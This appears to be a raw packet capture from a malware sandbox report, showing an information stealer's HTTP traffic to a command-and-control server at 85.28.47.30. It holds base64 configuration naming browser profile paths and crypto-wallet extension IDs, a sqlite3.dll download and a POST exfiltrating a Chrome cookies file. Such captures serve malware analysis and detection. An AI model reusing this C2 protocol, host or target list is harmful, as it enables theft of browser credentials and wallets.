Jul 5, 2024 06:22:59.687908888 CEST	384	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 6b 7a 59 57 59 31 4d 6d 52 6d 5a 47 46 6b 5a 54 4e 6b 4d 54 5a 6d 59 6d 59 7a 5a 47 52 6b 59 6d 59 32 5a 47 4a 6b 59 7a 5a 6a 4e 6d 4a 6b 4e 6a 45 7a 5a 47 49 31 59 7a 6c 69 59 6a 6b 32 5a 54 45 30 4e 44 45 35 5a 44 67 32 4f 57 52 6d 4e 6a 42 69 4d 47 49 7a 4e 47 4a 68 4d 32 59 33 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: ZDkzYWY1MmRmZGFkZTNkMTZmYmYzZGRkYmY2ZGJkYzZjNmJkNjEzZGI1YzliYjk2ZTE0NDE5ZDg2OWRmNjBiMGIzNGJhM2Y3fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 5, 2024 06:22:59.752275944 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCB Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 48 49 4a 44 47 43 42 41 4b 46 49 45 47 48 43 42 2d 2d 0d 0a Data Ascii: ------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------CFHDHIJDGCBAKFIEGHCBContent-Disposition: form-data; name="message"browsers------CFHDHIJDGCBAKFIEGHCB--
Jul 5, 2024 06:22:59.943416119 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 5, 2024 06:22:59.943434000 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 5, 2024 06:22:59.945225954 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"plugins------IECBAFCAAKJDHJKFIEBG--
Jul 5, 2024 06:23:00.137638092 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 5, 2024 06:23:00.137684107 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 5, 2024 06:23:00.137693882 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 5, 2024 06:23:00.137706995 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 5, 2024 06:23:00.137726068 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jul 5, 2024 06:23:00.137734890 CEST	28	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 77 3d Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHw=
Jul 5, 2024 06:23:00.140414000 CEST	466	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: 85.28.47.30 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"fplugins------KFHCAEGCBFHJDGCBFHDA--
Jul 5, 2024 06:23:00.323432922 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 5, 2024 06:23:00.344970942 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJEC Host: 85.28.47.30 Content-Length: 6191 Connection: Keep-Alive Cache-Control: no-cache
Jul 5, 2024 06:23:00.345040083 CEST	6191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 5, 2024 06:23:01.073355913 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:01.448185921 CEST	90	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 5, 2024 06:23:01.631858110 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 5, 2024 06:23:01.631875992 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 5, 2024 06:23:01.631889105 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 5, 2024 06:23:01.631901026 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jul 5, 2024 06:23:03.126140118 CEST	949	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 85.28.47.30 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 36 39 64 66 36 30 62 30 62 33 34 62 61 33 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"d93af52dfdade3d16fbf3dddbf6dbdc6c6bd613db5c9bb96e14419d869df60b0b34ba3f7------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------ECGHCBGCBFHIIDHIJKFB--
Jul 5, 2024 06:23:03.730057001 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 05 Jul 2024 04:23:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 5, 2024 06:23:03.817774057 CEST	557	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 85.28.47.30 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 33 61 66 35 32 64 66 64 61 64 65 33 64 31 36 66 62 66 33 64 64 64 62 66 36 64 62 64 63 36 63 36 62 64 36 31 33 64 62 35 63 39 62 62 39 36 65 31 34 34 31 39 64 38 